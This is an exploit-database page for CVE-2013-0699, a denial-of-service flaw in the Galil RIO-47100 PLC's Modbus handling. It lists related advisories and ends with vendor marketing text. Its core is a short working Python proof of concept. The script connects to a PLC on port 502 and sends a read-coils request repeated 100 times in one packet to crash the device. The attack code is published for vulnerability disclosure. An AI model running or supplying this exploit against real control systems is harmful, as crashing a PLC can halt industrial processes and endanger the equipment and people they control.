Lucene search
K

Galil-RIO Modbus Denial Of Service

🗓️ 27 Jul 2013 00:00:00Reported by SaplingType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Galil-RIO Modbus Denial Of Service with PLC crash vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Galil-RIO Modbus - Denial of Service Vulnerability
27 Jul 201300:00
zdt
0day.today
Galil-RIO Modbus - Denial of Service
3 Aug 201300:00
zdt
CVE
CVE-2013-0699
1 May 201310:00
cve
Cvelist
CVE-2013-0699
1 May 201310:00
cvelist
Exploit DB
Galil-RIO Modbus - Denial of Service
27 Jul 201300:00
exploitdb
exploitpack
Galil-RIO Modbus - Denial of Service
27 Jul 201300:00
exploitpack
ICS
Galil RIO-47100 Improper Input Validation
28 Jan 201307:00
ics
NVD
CVE-2013-0699
1 May 201312:00
nvd
Prion
Design/Logic Flaw
1 May 201312:00
prion
RedhatCVE
CVE-2013-0699
22 May 202506:12
redhatcve
Rows per page
`# Exploit Title: Galil RIO-47100  
# Date: 05-01-2013  
# Exploit Author: Sapling  
# Vendor Homepage: www.galilmc.com  
# Version: Rio Firmware Prior to 1.1d  
# CVE : CVE-2013-0699  
# ICSA: ICSA-13-116-01  
  
/* There are many different ways to crash this PLC but most of them are  
centralized around the repeating a request in a single packet format. So  
read a coil repeated in a single packet.  
The Rio-47100 by Galil is a small PLC with an internal RISC based  
processor. It communicates using ModBus, or Telnet over Ethernet as well as  
having a web server built in that allows a user to issue commands.  
I take no responsibility for the use of this code and using this code you  
agree to take responsibility for your own actions. */  
  
  
# Python Proof of concept  
# A quick run down of the last half start at \x06  
# \x06 length  
# \x01 unit id  
# \x01 function code (read coils)  
# \x00\x00 start address  
# \x00\x01 coil quantity  
# Repeat the request in the packet 100 times  
# Unfortunateley I can't remember the minimum number of times you have to  
repeat to cause the crash  
  
import sys  
import socket  
  
new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP  
Address  
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation